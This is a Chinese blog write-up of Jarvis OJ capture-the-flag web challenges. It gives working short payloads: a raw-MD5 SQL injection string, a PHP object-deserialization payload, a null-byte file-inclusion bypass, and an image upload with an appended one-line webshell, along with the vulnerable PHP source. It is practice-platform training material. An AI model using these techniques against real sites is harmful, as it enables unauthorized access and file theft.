wywwzjj's Blog

Jarvis OJ Writeup

字数统计: 1.4k阅读时长: 6 min
2019/02/02 Share

PORT 51

➜  ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<h3>Yeah!! Here's your flag:PCTF{}</h3>
</body>
</html>

Login

md5

header 头里面发现 hint: “select * from `admin` where password=’”.md5($pass,true).”‘“

md5 ( string $str [, bool $raw_output = FALSE ] ) : string
// raw 为 TRUE 时为 16 字符二进制格式,默认为 false 32 字符十六进制数

搜索一下,发现有个牛逼的字符串: ffifdyop

https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

http://www.am0s.com/functions/204.html

传入之后,最终的 sql 语句变为 select * from admin where password=’’or’6�]��!r,��b’

成功闭合,得到万能密码,登录即可。

神盾局的秘密

反序列化

通过 /showimg.php?img=c2hvd2ltZy5waHA= 可读取源码

// showing.php
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE
&& stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

// index.php
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

// shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

构造利用的 pop 链即可,payload

/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

inject

有反引号的注入

详见 https://wywwzjj.top/2019/02/26/Jarvis-OJ-inject/

upload + lfi

扫了一遍目录,没发现什么文件,尝试 filter 读源码,也失败了

主题界面是一个图片上传,再加一个展示界面

配置信息给的这么清晰,有点可疑,然而并没有找到什么有用的洞

Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3

Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24

按理说是可以文件包含,php://filter/read=convert.base64-encode/resource=index

然而显示 Cross domain forbidden!,估计是加了啥子 waf,此路不通

fopen() 时应该是拼接了一个 “.php”,这里可以用 %00 绕过

fopen(index.jj): failed to open stream 绕过成功

图片只能上传 jpg ,所以直接抓包在后面再个一句话,然后用 fopen() 去包含

但是,注意是但是,这里有个坑,不能用 <?php,有 waf,要用

然后 page=uploads/1552805580.jpg%00 自动出 flag,都不需要菜刀

这题出的太过死板, 是可以的,居然没任何回显,专考

CATALOG
  1. 1. PORT 51
  2. 2. Login
  3. 3. 神盾局的秘密
  4. 4. inject
  5. 5. Easy Gallery